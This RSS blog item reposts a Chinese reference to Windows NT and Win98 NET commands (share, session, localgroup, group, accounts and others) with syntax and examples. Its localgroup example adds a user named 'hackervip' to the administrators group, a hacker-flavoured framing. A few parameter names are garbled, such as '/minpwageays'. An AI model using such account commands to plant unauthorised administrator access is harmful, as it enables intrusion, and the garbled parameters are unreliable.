GMT</pubDate><guid>http://www.cnitblog.com/forrest/articles/16163.html</guid><wfw:comment>http://www.cnitblog.com/forrest/comments/16163.html</wfw:comment><comments>http://www.cnitblog.com/forrest/articles/16163.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/forrest/comments/commentRss/16163.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/forrest/services/trackbacks/16163.html</trackback:ping><description><![CDATA[
		<div class="entry-title" style="CURSOR: hand" onclick="resize(this)">
				<h2>
						<font style="BACKGROUND-COLOR: #ccff33" color="#000000" size="3">参数介绍：我们来看看这些服务都是什么 <br /><br />　　&lt;1&gt;alerter(警报) <br /><br />　　&lt;2&gt;client service for netware(Netware 客户端服务) <br /><br />　　&lt;3&gt;clipbook server(剪贴簿服务器) <br /><br />　　&lt;4&gt;computer browser(计算机浏览器) <br /><br />　　&lt;5&gt;directory replicator(目录复制器) <br /><br />　　&lt;6&gt;ftp publishing service (ftp )(ftp 发行服务) <br /><br />　　&lt;7&gt;lpdsvc <br /><br />　　&lt;8&gt;net logon(网络登录) &lt;9&gt;network dde网络 dde) <br /><br />　　&lt;10&gt;network dde dsdm(网络 dde dsdm) <br /><br />　　&lt;11&gt;network monitor agent(网络监控代理) <br /><br />　　&lt;12&gt;nt lm security support provider(NT LM 安全性支持提供) <br /><br />　　&lt;13&gt;ole(对象链接与嵌入) <br /><br />　　&lt;14&gt;remote access connection manager(远程访问连接管理器) <br /><br />　　&lt;15&gt;remote access isnsap service(远程访问 isnsap 服务) <br /><br />　　&lt;16&gt;remote access server(远程访问服务器) <br /><br />　　&lt;17&gt;remote procedure call (rpc) locator(远程过程调用定位器) <br /><br />　　&lt;18&gt;remote procedure call (rpc) service(远程过程调用服务) <br /><br />　　&lt;19&gt;schedule(调度) <br /><br />　　&lt;20&gt;server(服务器) <br /><br />　　&lt;21&gt;simple tcp/ip services(简单 TCP/IP 服务) <br /><br />　　&lt;22&gt;snmp <br /><br />　　&lt;23&gt;spooler(后台打印程序) <br /><br />　　&lt;24&gt;tcp/ip netbios helper(TCP/IP NETBIOS 辅助工具) <br /><br />　　&lt;25&gt;ups (26)workstation(工作站) <br /><br />　　&lt;27&gt;messenger(信使) <br /><br />　　&lt;28&gt;dhcp client <br /><br />　　&lt;29&gt;eventlog 以下这些SERVICE只能在NT SERVER上使用 <br /><br />　　&lt;&lt; 1&gt;&gt; )file server for macintosh <br /><br />　　&lt;&lt;2&gt;&gt;gateway service for netware <br /><br />　　&lt;&lt;3&gt;&gt;microsoft dhcp server <br /><br />　　&lt;&lt;4&gt;&gt;print server for macintosh <br /><br />　　&lt;&lt;5&gt;&gt;remoteboot <br /><br />　　&lt;&lt;6&gt;&gt;windows internet name service <br /><br />　　<b>(9)Net Statistics </b><br /><br />　　作 用：显示本地工作站或服务器服务的统计记录。 <br /><br />　　命令格式：net statistics [workstation │ server] <br /><br />　　参数介绍： <br /><br />　　&lt;1&gt;键入不带参数的net statistics列出其统计信息可用的运行服务。 &lt;2&gt;workstation显示本地工作站服务的统计信息。 <br /><br />　　&lt;3&gt;server显示本地服务器服务的统计信息。 <br /><br />　　简单事例: <br /><br />　　&lt;1&gt;net statistics server │ more显示服务器服务的统计信息 </font>
				</h2>
		</div>
		<div class="entry-body">
				<p>
						<font style="BACKGROUND-COLOR: #ccff33" color="#000000">
						</font> </p>
				<p>
						<font color="#000000">
								<font style="BACKGROUND-COLOR: #ccff33">
										<strong>(10)Net Share <br /><br /></strong>　　作 用：创建、删除或显示共享资源。 <br /><br />　　命令格式：net share sharename=drive:path [/users:number │ /unlimited] [/remark:"text"] <br /><br />　　参数介绍： <br /><br />　　&lt;1&gt;键入不带参数的net share显示本地计算机上所有共享资源的信息。 <br /><br />　　 </font>
						</font>
				</p>
				<center>
						<font style="BACKGROUND-COLOR: #ccff33" color="#000000">
								<img title="NET命令大全" src="http://images.enet.com.cn/iflow/articleimage/200508/1123056360088/image018.gif" border="0" />
						</font>
				</center>
				<p>
						<br />
						<br />
						<font style="BACKGROUND-COLOR: #ccff33" color="#000000">　　&lt;2&gt;sharename是共享资源的网络名称。 <br /><br />　　 </font>
				</p>
				<center>
						<font style="BACKGROUND-COLOR: #ccff33" color="#000000">
								<img title="NET命令大全" src="http://images.enet.com.cn/iflow/articleimage/200508/1123056360088/image019.gif" border="0" />
						</font>
				</center>
				<p>
						<br />
						<br />
						<font style="BACKGROUND-COLOR: #ccff33" color="#000000">　　&lt;3&gt;drive:path指定共享目录的绝对路径。 <br /><br />　　&lt;4&gt;/users:number设置可同时访问共享资源的最大用户数。 <br /><br />　　&lt;5&gt;/unlimited不限制同时访问共享资源的用户数。 <br /><br />　　&lt;6&gt;/remark:"text "添加关于资源的注释，注释文字用引号引住。 <br /><br />　　&lt;7&gt;/delete停止共享资源 <br /><br />　　 </font>
				</p>
				<center>
						<font style="BACKGROUND-COLOR: #ccff33" color="#000000">
								<img title="NET命令大全" src="http://images.enet.com.cn/iflow/articleimage/200508/1123056360088/image020.gif" border="0" />
						</font>
				</center>
				<p>
						<br />
						<br />
						<font style="BACKGROUND-COLOR: #ccff33" color="#000000">　　&lt;8&gt;启动共享资源 <br /><br />　　 </font>
				</p>
				<center>
						<font style="BACKGROUND-COLOR: #ccff33" color="#000000">
								<img title="NET命令大全" src="http://images.enet.com.cn/iflow/articleimage/200508/1123056360088/image021.gif" border="0" />
						</font>
				</center>
				<center>
						<font style="BACKGROUND-COLOR: #ccff33" color="#000000">
						</font> </center>
				<center>
						<table cellspacing="0" cellpadding="2" width="100%" align="center" border="0">
								<tbody>
										<tr>
												<td width="5">
														<font style="BACKGROUND-COLOR: #ccff33" color="#000000">
														</font>
												</td>
												<td style="FONT-SIZE: 14px; COLOR: #000000">
														<p>
																<a name="part">
																		<font style="BACKGROUND-COLOR: #ccff33" color="#000000" size="3">　　<b>(11)Net Session </b><br /><br />　　作 用：列出或断开本地计算机和与之连接的客户端的会话，也可以写为net sessions或net sess。 <br /><br />　　命令格式：net session [\\computername] [/delete] <br /><br />　　参数介绍： <br /><br />　　&lt;1&gt;键入不带参数的net session显示所有与本地计算机的会话的信息。 <br /><br />　　&lt;2&gt;\\computername标识要列出或断开会话的计算机。 <br /><br />　　&lt;3&gt;/delete结束与\\computername计算机会话并关闭本次会话期间计算机的所有? <br /><br />　　简单事例： <br /><br />　　&lt;1&gt;net session \\YFANG要显示计算机名为YFANG的客户端会话信息列表。 <br /><br />　　<b>(12)Net Send </b><br /><br />　　作 用：向网络的其他用户、计算机或通信名发送消息。 <br /><br />　　命令格式：net send {name │ * │ /domain[:name] │ /users} message 参数介绍： <br /><br />　　&lt;1&gt;name要接收发送消息的用户名、计算机名或通信名。 <br /><br />　　&lt;2&gt;*将消息发送到组中所有名称。 <br /><br />　　&lt;3&gt;/domain[:name]将消息发送到计算机域中的所有名称。 <br /><br />　　&lt;4&gt;/users将消息发送到与服务器连接的所有用户。 <br /><br />　　&lt;5&gt;message作为消息发送的文本。 <br /><br />　　简单事例： <br /><br />　　&lt;1&gt;net send /users server will shutdown in 5 minutes. 给所有连接到服务器的用户发送消息 <br /><br />　　<b>(13)Net Print </b><br /><br />　　作 用：显示或控制打印作业及打印队列。 <br /><br />　　命令格式：net print [\\computername ] job# [/hold │ /release │ /delete] <br /><br />　　参数介绍： <br /><br />　　&lt;1&gt;computername共享打印机队列的计算机名。 <br /><br />　　&lt;2&gt;sharename打印队列名称。 <br /><br />　　&lt;3&gt;job#在打印机队列中分配给打印作业的标识号。 <br /><br />　　&lt;4&gt;/hold使用 job# 时，在打印机队列中使打印作业等待。 <br /><br />　　&lt;5&gt;/release释放保留的打印作业。 <br /><br />　　&lt;6&gt;/delete从打印机队列中删除打印作业。 <br /><br />　　简单事例： <br /><br />　　&lt;1&gt;net print \\YFANG\SEEME列出\\YFANG计算机上SEEME打印机队列的目录 <br /><br />　　<b>(14)Net Name </b><br /><br />　　作 用：添加或删除消息名（有时也称别名），或显示计算机接收消息的名称列表。 <br /><br />　　命令格式：net name [name [/add │ /delete]] <br /><br />　　参数介绍： <br /><br />　　&lt;1&gt;键入不带参数的net name列出当前使用的名称。 <br /><br />　　&lt;2&gt;name指定接收消息的名称。 <br /><br />　　&lt;3&gt;/add将名称添加到计算机中。 <br /><br />　　&lt;4&gt;/delete从计算机中删除名称。 </font>
																</a>
														</p>
														<p>
																<font style="BACKGROUND-COLOR: #ccff33" color="#000000" size="3">
																</font> </p>
														<p>
																<font size="3">
																		<font color="#000000">
																				<font style="BACKGROUND-COLOR: #ccff33">
																						<strong>(15)Net Localgroup <br /><br /></strong>　　作 用：添加、显示或更改本地组。 <br /><br />　　命令格式：net localgroup groupname {/add [/comment:"text "] │ /delete} [/domain] <br /><br />　　参数介绍： <br /><br />　　&lt;1&gt;键入不带参数的net localgroup显示服务器名称和计算机的本地组名称。 <br /><br />　　 </font>
																		</font>
																</font>
														</p>
														<center>
																<font style="BACKGROUND-COLOR: #ccff33" color="#000000" size="3">
																		<img title="NET命令大全" src="http://images.enet.com.cn/iflow/articleimage/200508/1123056360088/image022.gif" border="0" />
																</font>
														</center>
														<p>
																<br />
																<br />
																<font style="BACKGROUND-COLOR: #ccff33" color="#000000" size="3">　　&lt;2&gt;groupname要添加、扩充或删除的本地组名称。显示某个组的信息。 <br /><br />　　 </font>
														</p>
														<center>
																<font style="BACKGROUND-COLOR: #ccff33" color="#000000" size="3">
																		<img title="NET命令大全" src="http://images.enet.com.cn/iflow/articleimage/200508/1123056360088/image023.gif" border="0" />
																</font>
														</center>
														<p>
																<br />
																<br />
																<font style="BACKGROUND-COLOR: #ccff33" color="#000000" size="3">　　&lt;3&gt;/comment: "text "为新建或现有组添加注释。 <br /><br />　　&lt;4&gt;/domain在当前域的主域控制器中执行操作，否则仅在本地计算机上执行操作? <br /><br />　　&lt;5&gt;name [ ...]列出要添加到本地组或从本地组中删除的一个或多个用户名或组名。 <br /><br />　　&lt;6&gt;/add将全局组名或用户名添加到本地组中。比如把用户hackervip添加到administrators组里边。 <br /><br />　　 </font>
														</p>
														<center>
																<font style="BACKGROUND-COLOR: #ccff33" color="#000000" size="3">
																		<img title="NET命令大全" src="http://images.enet.com.cn/iflow/articleimage/200508/1123056360088/image024.gif" border="0" />
																</font>
														</center>
														<p>
																<br />
																<br />
																<font style="BACKGROUND-COLOR: #ccff33" color="#000000" size="3">　　&lt;7&gt;/delete从本地组中删除组名或用户名。比如把用户hackervip从administrators组里边删除。 <br /><br />　　 </font>
														</p>
														<center>
																<font style="BACKGROUND-COLOR: #ccff33" color="#000000" size="3">
																		<img title="NET命令大全" src="http://images.enet.com.cn/iflow/articleimage/200508/1123056360088/image025.gif" border="0" />
																</font>
														</center>
														<p>
																<font size="3">
																		<font color="#000000">
																				<font style="BACKGROUND-COLOR: #ccff33">
																						<strong>(16)Net Group <br /><br /></strong>　　作 用：在 Windows NT Server 域中添加、显示或更改全局组。 <br /><br />　　命令格式：net group groupname {/add [/comment:"text "] │ /delete} [/domain] <br /><br />　　参数介绍： <br /><br />　　&lt;1&gt;键入不带参数的net group显示服务器名称及服务器的组名称。 <br /><br />　　&lt;2&gt;groupname要添加、扩展或删除的组。 <br /><br />　　&lt;3&gt;/comment:"text "为新建组或现有组添加注释。 &lt;4&gt;/domain在当前域的主域控制器中执行该操作，否则在本地计算机上执行操作? <br /><br />　　&lt;5&gt;username[ ...]列表显示要添加到组或从组中删除的一个或多个用户。 <br /><br />　　&lt;6&gt;/add添加组或在组中添加用户名。 <br /><br />　　&lt;7&gt;/delete删除组或从组中删除用户名。 <br /><br />　　简单事例： <br /><br />　　&lt;1&gt;net group love yfang1 yfang2 /add将现有用户帐号yfang1和yfang2添加到本地计算机的love组 <br /><br />　　<b>(17)Net File </b><br /><br />　　作 用：显示某服务器上所有打开的共享文件名及锁定文件数。 <br /><br />　　命令格式：net file [id [/close]] <br /><br />　　参数介绍： <br /><br />　　&lt;1&gt;键入不带参数的net file获得服务器上打开文件的列表。 <br /><br />　　&lt;2&gt;id文件标识号。 <br /><br />　　&lt;3&gt;/close关闭打开的文件并释放锁定记录。 <br /><br />　　<b>(18)Net Config </b><br /><br />　　作 用：显示当前运行的可配置服务，或显示并更改某项服务的设置。 <br /><br />　　命令格式：net config [service [options]] <br /><br />　　参数介绍： <br /><br />　　&lt;1&gt;键入不带参数的net config显示可配置服务的列表。 <br /><br />　　&lt;2&gt;service通过net config命令进行配置的服务(server或workstation) <br /><br />　　&lt;3&gt;options服务的特定选项。 <br /><br />　　<b>(19)Net Computer </b><br /><br />　　作 用：从域数据库中添加或删除计算机。 <br /><br />　　命令格式：net computer \\computername {/add │ /del} <br /><br />　　参数介绍： <br /><br />　　&lt;1&gt;\\computername指定要添加到域或从域中删除的计算机。 <br /><br />　　&lt;2&gt;/add将指定计算机添加到域。 <br /><br />　　&lt;3&gt;/del将指定计算机从域中删除。 <br /><br />　　简单事例： <br /><br />　　&lt;1&gt;net computer \\cc /add将计算机 cc 添加到登录域 　　 </font>
																		</font>
																</font>
														</p>
														<p>
																<font size="3">
																		<font color="#000000">
																				<font style="BACKGROUND-COLOR: #ccff33">
																						<strong>(20)Net Accounts <br /><br /></strong>　　作 用：更新用户帐号数据库、更改密码及所有帐号的登录要求。 <br /><br />　　命令格式：net accounts [/forcelogoff:{minutes │ no}] [/minpwlen:length] [/maxpwage:{days │ unlimited}] [/minpwageays] [/uniquepw:number] [/domain] <br /><br />　　参数介绍： <br /><br />　　&lt;1&gt;键入不带参数的net accounts显示当前密码设置、登录时限及域信息。 <br /><br />　　&lt;2&gt;/forcelogoff:{minutes │ no}设置当用户帐号或有效登录时间过期时 <br /><br />　　&lt;3&gt;/minpwlen:length设置用户帐号密码的最少字符数。 <br /><br />　　&lt;4&gt;/maxpwage:{days │ unlimited}设置用户帐号密码有效的最大天数。 <br /><br />　　&lt;5&gt;/minpwageays设置用户必须保持原密码的最小天数。 <br /><br />　　&lt;6&gt;/uniquepw:number要求用户更改密码时，必须在经过number次后才能重复使用 与之相同的密码。 <br /><br />　　&lt;7&gt;/domain在当前域的主域控制器上执行该操作。 &lt;8&gt;/sync当用于主域控制器时，该命令使域中所有备份域控制器同步 <br /><br />　　简单事例： <br /><br />　　&lt;1&gt;net accounts /minpwlen:7 <br /><br />　　将用户帐号密码的最少字符数设置为7 <br /><br />　　-----------上面介绍的是NET命令在WINNT下的基本用法 <br /><br />　　-----------下面我们看看NET命令在WIN98下的基本用法 <br /><br />　　在WIN98中NET命令也有一些参数 其中有一些参数的名字和功能及简单的使用方法和WINNT下的相应的参数的用法相同 <br /><br />　　其中有 <br /><br />　　(1)NET TIME命令 <br /><br />　　(2)NET PRINT命令 <br /><br />　　(3)NET USE命令 <br /><br />　　(4)NET VIEW命令 <br /><br />　　在WIN98中NET命令有一些参数 其中有一些参数的名字和WINNT下的相应的参数的名字相同但其用法却有些不同 <br /><br />　　其中有 <br /><br />　　(1)NET START <br /><br />　　作 用：启动相应的服务。(不能在DOS-WIN中用) <br /><br />　　命令格式：NET START [BASIC │ NWREDIR │ WORKSTATION │ NETBIND │ NETBEUI │ NWLINK] [/LIST] [/YES] [/VERBOSE] <br /><br />　　(2)NET STOP <br /><br />　　作 用：停止相应的服务.(不能在DOS-WIN中用) <br /><br />　　命令格式：NET STOP [BASIC │ NWREDIR │ WORKSTATION │ NETBEUI │ NWLINK] [/YES] <br /><br />　　在WIN98中NET命令还有一些参数是在98下才有的 <br /><br />　　其中有 <br /><br />　　(1)NET DIAG <br /><br />　　作 用：运行MS的DIAGNOSTICS程序显示网络的DIAGNOSTIC信息 <br /><br />　　命令格式：NET DIAGNOSTICS [/NAMES │ /STATUS] <br /><br />　　(2)NET INIT <br /><br />　　作 用：不通过绑定来加载协议或网卡驱动(不能在DOS-WIN中用) <br /><br />　　命令格式：NET INITIALIZE [/DYNAMIC] <br /><br />　　(3)NET LOGOFF <br /><br />　　作 用：断开连接的共享资源(不能在DOS-WIN中用) <br /><br />　　(4)NET LOGON <br /><br />　　作 用：在WORKGROUP中登陆(不能在DOS-WIN中用) <br /><br />　　命令格式：NET LOGON [user [password │ ?]] [/DOMAIN:name] [/YES] [/SAVEPW:NO] <br /><br />　　(5)NET PASSWORD <br /><br />　　作 用：更改你的网络登陆口令(不能在DOS-WIN中用) <br /><br />　　命令格式：NET PASSWORD \\computer │ /DOMAIN:name [user [oldpassword [newpassword]]]<br /></font>
																		</font>
																</font>
														</p>
												</td>
										</tr>
								</tbody>
						</table>
				</center>
		</div>
		<p id="trackback">
				<font style="BACKGROUND-COLOR: #ccff33" color="#000000">你可以通过这个链接引用该篇文章:http://hackerpp.bokee.com/tb.b?diaryId=10417426 </font>
		</p>
<img src ="http://www.cnitblog.com/forrest/aggbug/16163.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/forrest/" target="_blank">forrest</a> 2006-08-30 14:54 <a href="http://www.cnitblog.com/forrest/articles/16163.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>